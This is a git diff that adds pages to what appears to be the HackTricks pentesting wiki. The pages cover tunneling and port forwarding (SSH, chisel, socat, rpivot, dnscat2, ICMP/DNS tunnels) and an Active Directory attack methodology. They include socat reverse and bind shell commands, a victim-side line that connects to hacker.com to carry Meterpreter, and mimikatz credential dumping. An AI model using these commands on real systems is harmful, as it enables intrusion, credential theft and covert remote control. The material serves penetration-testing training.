+* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS pentesting tools
+* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Keywords
+* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT \(Wifi, BLE, SSDP, MDNS\)
+* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automating scanning
+* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : This list aims to cover Electron.js security related topics.
+* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Info about BB programs
+
diff --git a/todo/pentesting-dns.md b/todo/pentesting-dns.md
new file mode 100644
index 00000000000..c5562ee835d
--- /dev/null
+++ b/todo/pentesting-dns.md
@@ -0,0 +1,8 @@
+# Pentesting DNS
+
+**Research more about attacks to DNS**
+
+**DNSSEC and DNSSEC3**
+
+**DNS in IPv6**
+
diff --git a/tr-069.md b/tr-069.md
new file mode 100644
index 00000000000..ff8a3862f15
--- /dev/null
+++ b/tr-069.md
@@ -0,0 +1,2 @@
+# TR-069
+
diff --git a/tunneling-and-port-forwarding.md b/tunneling-and-port-forwarding.md
new file mode 100644
index 00000000000..822844f84ea
--- /dev/null
+++ b/tunneling-and-port-forwarding.md
@@ -0,0 +1,353 @@
+# Tunneling and Port Forwarding
+
+## **SSH**
+
+SSH graphical connection \(X\)
+
+```bash
+ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
+```
+
+### Local Port2Port
+
+Open new Port in SSH Server --&gt; Other port
+
+```bash
+ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
+```
+
+```bash
+ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
+```
+
+### Port2Port
+
+Local port --&gt; Compromised host \(SSH\) --&gt; Third\_box:Port
+
+```bash
+ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host 
+#Example
+sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
+```
+
+### Port2hostnet \(proxychains\)
+
+Local Port --&gt; Compromised host\(SSH\) --&gt; Wherever
+
+```bash
+ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
+```
+
+### VPN-Tunnel
+
+You need **root in both devices** \(as you are going to create new interfaces\) and the sshd config has to allow root login:  
+`PermitRootLogin yes`  
+`PermitTunnel yes`
+
+```bash
+ssh username@server -w any:any #This wil create Tun interfaces in both devices
+ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
+ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
+```
+
+Enable forwarding in Server side
+
+```bash
+echo 1 > /proc/sys/net/ipv4/ip_forward
+iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
+```
+
+Set new route on client side
+
+```text
+route add -net 10.0.0.0/16 gw 1.1.1.1
+```
+
+## SSHUTTLE
+
+You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.  
+Example, forwarding all the traffic going to 10.10.10.0/24
+
+```bash
+pip install sshuttle
+sshuttle -r user@host 10.10.10.10/24
+```
+
+## Meterpreter
+
+### Port2Port
+
+Local port --&gt; Compromised host \(active session\) --&gt; Third\_box:Port
+
+```bash
+# Inside a meterpreter session
+portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
+```
+
+### Port2hostnet \(proxychains\)
+
+```bash
+background# meterpreter session
+route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
+use auxiliary/server/socks_proxy
+run #Proxy port 1080 by default
+echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
+```
+
+Another way:
+
+```bash
+background #meterpreter session
+use post/multi/manage/autoroute
+set SESSION <session_n>
+set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
+set NETMASK <Netmask>
+run
+use auxiliary/server/socks_proxy
+set VERSION 4a
+run #Proxy port 1080 by default
+echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
+```
+
+## reGeorg
+
+[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
+
+You need to upload a web file tunnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp
+
+```bash
+python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
+```
+
+## Chisel
+
+You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)  
+You need to use the **same version for client and server**
+
+### socks
+
+```bash
+./chisel server -p 8080 --reverse #Server
+./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client
+#And now you can use proxychains with port 1080 (default)
+```
+
+### Port forwarding
+
+```bash
+./chisel_1.7.6_linux_amd64 server -p 12312 --reverse
+./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505
+```
+
+## Rpivot
+
+[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
+
+Reverse tunnel. The tunnel is started from the victim.  
+A socks4 proxy is created on 127.0.0.1:1080
+
+```bash
+attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
+```
+
+```bash
+victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
+```
+
+Pivot through **NTLM proxy**
+
+```bash
+victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
+```
+
+```bash
+victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
+```
+
+## **Socat**
+
+[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
+
+### Bind shell
+
+```bash
+victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
+attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
+```
+
+### Reverse shell
+
+```bash
+attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
+victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
+```
+
+### Port2Port
+
+```bash
+socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
+```
+
+### Port2Port through socks
+
+```bash
+socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
+```
+
+### Meterpreter through SSL Socat
+
+```bash
+#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
+attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
+```
+
+```bash
+victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
+#Execute the meterpreter
+```
+
+You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
+
+```bash
+OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
+```
+
+[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
+
+### SSL Socat Tunnel
+
+**/bin/sh console**
+
+Create certificates in both sides: Client and Server
+
+```bash
+# Execute this commands in both sides
+FILENAME=socatssl
+openssl genrsa -out $FILENAME.key 1024
+openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
+cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
+chmod 600 $FILENAME.key $FILENAME.pem
+```
+
+```bash
+attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
+victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
+```
+
+### Remote Port2Port
+
+Connect the local SSH port \(22\) to the 443 port of the attacker host
+
+```bash
+attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost 
+victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 
+attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
+```
+
+## Plink.exe
+
+It's like a console PuTTY version \( the options are very similar to a ssh client\).
+
+As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
+
+```bash
+echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
+echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
+```
+
+## NTLM proxy bypass
+
+The previously mentioned tool: **Rpivot**  
+**OpenVPN** can also bypass it, setting these options in the configuration file:
+
+```bash
+http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
+```
+
+### Cntlm
+
+[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
+
+It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.  
+Example that forward port 443
+
+```text
+Username Alice 
+Password P@ssw0rd 
+Domain CONTOSO.COM 
+Proxy 10.0.0.10:8080 
+Tunnel 2222:<attackers_machine>:443
+```
+
+Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.  
+You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
+
+## YARP
+
+A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
+
+## DNS Tunneling
+
+### Iodine
+
+[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
+
+Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.
+
+```text
+attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
+victim> iodine -f -P P@ssw0rd tunneldomain.com -r
+#You can see the victim at 1.1.1.2
+```
+
+The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:
+
+```text
+ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
+```
+
+### DNSCat2
+
+Establishes a C&C channel through DNS. It doesn't need root privileges.
+
+```bash
+attacker> ruby ./dnscat2.rb tunneldomain.com
+victim> ./dnscat2 tunneldomain.com
+```
+
+**Port forwarding with dnscat**
+
+```bash
+session -i <sessions_id>
+listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
+```
+
+#### Change proxychains DNS
+
+Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** \(hardcoded\). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
+
+## Tunnels in Go
+
+[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
+
+## ICMP Tunneling
+
+### Hans
+
+[https://github.com/friedrich/hans](https://github.com/friedrich/hans)  
+[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
+
+Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.
+
+```bash
+./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
+./hans -f -c <server_ip> -p P@ssw0rd -v
+ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
+```
+
+## Other tools to check
+
+* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
+* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
+* [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
+
diff --git a/windows/active-directory-methodology/README.md b/windows/active-directory-methodology/README.md
new file mode 100644
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+++ b/windows/active-directory-methodology/README.md
@@ -0,0 +1,408 @@
+# Active Directory Methodology
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Basic overview
+
+Active Directory allows network administrators to create and manage domains, users, and objects within a network. For example, an admin can create a group of users and give them specific access privileges to certain directories on the server. As a network grows, Active Directory provides a way to organize a large number of users into logical groups and subgroups, while providing access control at each level.
+
+The Active Directory structure includes three main tiers: 1\) domains, 2\) trees, and 3\) forests. Several objects \(users or devices\) that all use the same database may be grouped in to a single domain. Multiple domains can be combined into a single group called a tree. Multiple trees may be grouped into a collection called a forest. Each one of these levels can be assigned specific access rights and communication privileges.
+
+Main concepts of an Active Directory:
+
+1. **Directory** – Contains all the information about the objects of the Active directory
+2. **Object** – An object references almost anything inside the directory \(a user, group, shared folder...\)
+3. **Domain** – The objects of the directory are contained inside the domain. Inside a "forest" more than one domain can exist and each of them will have their own objects collection. 
+4. **Tree** – Group of domains with the same root. Example: _dom.local, email.dom.local, www.dom.local_
+5. **Forest** – The forest is the highest level of the organization hierarchy and is composed by a group of trees. The trees are connected by trust relationships.
+
+Active Directory provides several different services, which fall under the umbrella of "Active Directory Domain Services," or AD DS. These services include:
+
+1. **Domain Services** – stores centralized data and manages communication between users and domains; includes login authentication and search functionality
+2. **Certificate Services** – creates, distributes, and manages secure certificates
+3. **Lightweight Directory Services** – supports directory-enabled applications using the open \(LDAP\) protocol
+4. **Directory Federation Services** – provides single-sign-on \(SSO\) to authenticate a user in multiple web applications in a single session
+5. **Rights Management** – protects copyrighted information by preventing unauthorized use and distribution of digital content
+6. **DNS Service** – Used to resolve domain names.
+
+AD DS is included with Windows Server \(including Windows Server 10\) and is designed to manage client systems. While systems running the regular version of Windows do not have the administrative features of AD DS, they do support Active Directory. This means any Windows computer can connect to a Windows workgroup, provided the user has the correct login credentials.  
+**From:** [**https://techterms.com/definition/active\_directory**](https://techterms.com/definition/active_directory)
+
+### **Kerberos Authentication**
+
+To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.  
+[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
+
+## Cheat Sheet
+
+You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io/) to have a quick view of which commands you can run to enumerate/exploit an AD.
+
+## Recon Active Directory \(No creds/sessions\)
+
+If you just have access to an AD environment but you don't have any credentials/sessions you could:
+
+* **Pentest the network:** Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them \(for example, [printers could be very interesting targets](ad-information-in-printers.md)**. Take a look to the General** [**Pentesting Methodology**](../../pentesting-methodology.md) to find more information about how to do this.
+* **Check for null and Guest access on smb services** \(this won't work on modern Windows versions\):
+  * `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
+  * `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
+  * `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
+  * [**A more detailed guide on how to enumerate a SMB server can be found here.**](../../pentesting/pentesting-smb.md)
+* **Enumerate Ldap**:
+  * `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
+  * [**A more detailed guide on how to enumerate LDAP can be found here.**](../../pentesting/pentesting-ldap.md)
+* **Poison the network**
+  * Gather credentials [**impersonating services with Responder**](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+  * Access host by [abusing the relay attack](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)\*\*\*\*
+  * Gather credentials **exposing** [**fake UPnP services with evil-S**](../../pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+* **OSINT**: Try to **extract possible usernames** from services \(mainly web\) inside the domain environments and also from the publicly available web pages of the company. If you find the complete names of company workers, you could try different AD **username conventions \(**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)**\)**. The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ \(3letters of each\), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ \(abc123\). You could also try **statistically most used usernames**: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) **Read the following Username enumeration section to learn how to find if a username is valid or not.**
+
+### User enumeration
+
+When an **invalid username is requested** the server will respond using the **Kerberos error** code _**KRB5KDC\_ERR\_C\_PRINCIPAL\_UNKNOWN**_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response **or** the error _**KRB5KDC\_ERR\_PREAUTH\_REQUIRED**_, indicating that the user is required to perform pre-authentication.
+
+```text
+nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
+Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
+msf> use auxiliary/gather/kerberos_enumusers
+./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
+crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
+enum4linux -U 10.10.10.161 | grep 'user:' | sed 's/user:\[//g' | sed 's/\]//g' | awk '{print $1}'
+```
+
+You could also use the **impacket script of ASREPRoast** to enumerate valid usernames.
+
+### Knowing one or several usernames
+
+Ok, so you know you have already a valid username but no passwords...Then try:
+
+* [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _**DONT\_REQ\_PREAUTH**_ you can **request a AS\_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
+* [**Password Spraying**](password-spraying.md): Let's **try** the most **common passwords** with each of the discovered users, maybe some user is using a bad password \(keep in mind the password policy\)
+* A final option if the accounts cannot be locked is the [**traditional bruteforce**](password-spraying.md)\*\*\*\*
+
+## Enumerating Active Directory \(Some creds/Session\)
+
+For this phase you need to have **compromised the credentials or a session of a valid domain account.**
+
+### Enumeration
+
+If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.  
+Regarding [**ASREPRoast**](asreproast.md)you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account \(if you know it\). It's very easy to obtain all the domain usernames from Windows \(`net user /domain` ,`Get-DomainUser`or `wmic useraccount get name,sid`\). In_\* linux\_\* you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`
+
+Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
+
+* You could use some[ Windows binaries from the CMD to perform a basic recon](../basic-cmd-for-pentesters.md#domain-info), but using [powershell for recon](../basic-powershell-for-pentesters/) will probably be stealthier, and you could even [**use powerview**](../basic-powershell-for-pentesters/powerview.md) **to extract more detailed information**. Always **learn what a CMD or powershell/powerview command does** before executing it, this way you will know **how stealth are you being**.
+* Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** \(depending on the collection methods you use\), but **if you don't care** about that, you should totally give it a **try**.
+* If you are using **Linux**, you could also [enumerate the domain using **pywerview**](https://github.com/the-useless-one/pywerview)**.**
+* You could also **try** [**https://github.com/tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
+
+**Even if this Enumeration section looks small this is the most important part of all. Access the links \(mainly the one of cmd, powershell, powerview and BloodHound\), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.**
+
+### **Kerberoast**
+
+The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets** are **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.  
+You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.  
+**Find more information about this attack** [**in the Kerberoast page**](kerberoast.md)**.**
+
+### Local Privilege Escalation
+
+If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally**. This is because only with admin privileges you will be able to **dump hashes of other users** in memory \(LSASS\) and locally \(SAM\).  
+There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/) and a [**checklist**](../checklist-windows-privilege-escalation.md)**. Also, don't forget to use** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+
+### Win-RM
+
+Once you have obtained some credentials you could check if you have **access** to any **machine** using the **win-rm service**.  
+[**More information about how to use and abuse win-rm here.**](../../pentesting/5985-5986-pentesting-winrm.md)
+
+## Privesc on Active Directory \(Some "privileged" Creds/Session\)
+
+**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
+
+### Hash extraction
+
+Hopefully you have managed to **compromise some local admin** account using [ASREPROast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md), [EvilSSDP](../../pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [Enumerating](./#enumerating-active-directory)... or [escalating privileges locally](../windows-local-privilege-escalation/).  
+Then, its time to dump all the hashes in memory and locally.  
+[**Read this page about different ways to obtain the hashes.**](../stealing-credentials/)
+
+### **Pass the Hash**
+
+**Once you have the hash of a user**, you can use it to **impersonate** it.  
+You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.  
+[**More information about this attack and about how does NTLM works here**](../ntlm/#pass-the-hash)**.**
+
+### **Over Pass the Hash/Pass the Key**
+
+This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.  
+[**More information about Over Pass the Hash/Pass the Key here.**](over-pass-the-hash-pass-the-key.md)
+
+### **Pass the Ticket**
+
+This attack is similar to Pass the Key, but instead of using hashes to request a ticket, the **ticket itself is stolen** and used to authenticate as its owner.  
+[**More information about Pass the Ticket here**](pass-the-ticket.md)**.**
+
+### **MSSQL Trusted Links**
+
+If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host \(if running as SA\).  
+Also, if a MSSQL instance is trusted \(database link\) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. These trusts can be chained and at some point the user might be able to find a misconfigured database where he can execute commands.  
+**The links between databases work even across forest trusts.**  
+[**More information about this technique here.**](mssql-trusted-links.md)
+
+### **Unconstrained Delegation**
+
+**If you find any Computer object with the attribute** [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.  
+So, if a **Domain Admin logins onto the computer**, you will be able to dump his TGT and impersonate him using [Pass the Ticket](pass-the-ticket.md).  
+Thanks to constrained delegation you could even **automatically compromise a Print Server** \(hopefully it will be a DC\).  
+[**More information about this technique here.**](unconstrained-delegation.md)
+
+### **Constrained Delegation**
+
+If a user or computer is allowed for "Constrained Delegation" it will be able to **impersonate any user to access some services in a computer**.  
+Then, if you **compromise the hash** of this user/computer you will be able to **impersonate any user** \(even domain admins\) to access some services.  
+[**More information about this attacks and some constrains here.**](constrained-delegation.md)
+
+### **ACLs Abuse**
+
+The compromised user could have some **interesting privileges over some domain objects** that could let you **move** laterally/**escalate** privileges.  
+[**More information about interesting privileges here.**](acl-persistence-abuse.md)
+
+### Printer Spooler service abuse
+
+If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**.  
+[**More information about how to find a abuse Spooler services here.**](printers-spooler-service-abuse.md)
+
+## **Dumping Domain Credentials**
+
+Once you get **Domain Admin** privileges, you can **dump** all the **domain database**.
+
+```bash
+Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
+```
+
+**More information about** [**DCSync attack can be found here**](dcsync.md)**.  
+More information about**[ **how to steal the NTDS.dit \(Domain database\) can be found here**](../stealing-credentials/)**.**
+
+## **Persistence**
+
+**Some of the techniques discussed before can be used for persistence. For example you could make a user vulnerable to** [**ASREPRoast** ](asreproast.md)**or to** [**Kerberoast**](kerberoast.md)**.**
+
+### **Golden Ticket**
+
+A valid **TGT as any user** can be created **using the NTLM hash of the krbtgt AD account**. The advantage of forging a TGT instead of TGS is being **able to access any service** \(or machine\) in the domain ad the impersonated user.
+
+[**More information about Golden Ticket here.**](golden-ticket.md)
+
+### **Silver Ticket**
+
+The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** \(like the **PC account hash**\). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user** \(like privileged access to a computer\).  
+[**More information about Silver Ticket here.**](silver-ticket.md)
+
+### **AdminSDHolder Group**
+
+The Access Control List \(ACL\) of the **AdminSDHolder** object is used as a template to **copy** **permissions** to **all “protected groups”** in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.  
+By default, the ACL of this group is copied inside all the "protected groups". This is done to avoid intentional or accidental changes to these critical groups. However, if an attacker modifies the ACL of the group **AdminSDHolder** for example, giving full permissions to a regular user, this user will have full permissions on all the groups inside the protected group \(in an hour\).  
+And if someone tries to delete this user from the Domain Admins \(for example\) in an hour or less, the user will be back in the group.  
+[**More information about AdminSDHolder Group here**](privileged-accounts-and-token-privileges.md)**.**
+
+### **DSRM Credentials**
+
+There is a **local administrator** account inside each **DC**. Having admin privileges in this machine, you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.  
+[**More information about DSRM Credentials here.**](dsrm-credentials.md)\*\*\*\*
+
+### **ACL Persistence**
+
+You could **give** some **special permissions** to a **user** over some specific domain objects that will let the user **escalate privileges in the future**.  
+[**More information about interesting privileges here.**](acl-persistence-abuse.md)
+
+### **Security Descriptors**
+
+The **security descriptors** are used to **store** the **permissions** an **object** have **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.  
+[**More information about Security Descriptors here**](security-descriptors.md)**.**
+
+### Skeleton Key
+
+**Modify LSASS** in memory to create a **master password** that will work for any account in the domain.  
+[**More information about Skeleton Key here.**](skeleton-key.md)
+
+### **Custom SSP**
+
+[Learn what is a SSP \(Security Support Provider\) here.](../authentication-credentials-uac-and-efs.md#security-support-provider-interface-sspi)  
+You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.  
+[**More information about Custom SSP here**](custom-ssp.md)**.**
+
+### **DCShadow**
+
+It registers a **new Domain Controller** in the AD and uses it to **push attributes** \(SIDHistory, SPNs...\) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.  
+Note that if you use wrong data, pretty ugly logs will appear.  
+[**More information about DCShadow here.**](dcshadow.md)\*\*\*\*
+
+## **Forest Privilege Escalation -** Domain Trusts
+
+Microsoft considers that the **domain isn't a Security Boundary**, the **Forest is the security Boundary**. This means that **if you compromise a domain inside a Forest you are going to be able to compromise the entire Forest**.
+
+### Basic Information
+
+At a high level, a [**domain trust**](http://technet.microsoft.com/en-us/library/cc759554%28v=ws.10%29.aspx) establishes the ability for **users in one domain to authenticate** to resources or act as a [security principal](https://technet.microsoft.com/en-us/library/cc780957%28v=ws.10%29.aspx) **in another domain**.
+
+Essentially, all a trust does is **linking up the authentication systems of two domains** and allowing authentication traffic to flow between them through a system of referrals.  
+When **2 domains trust each other they exchange keys**, these **keys** are going to be **saved** in the **DCs** of **each domains** \(**1 key per trust direction**\) and the keys will be the base of the trust.
+
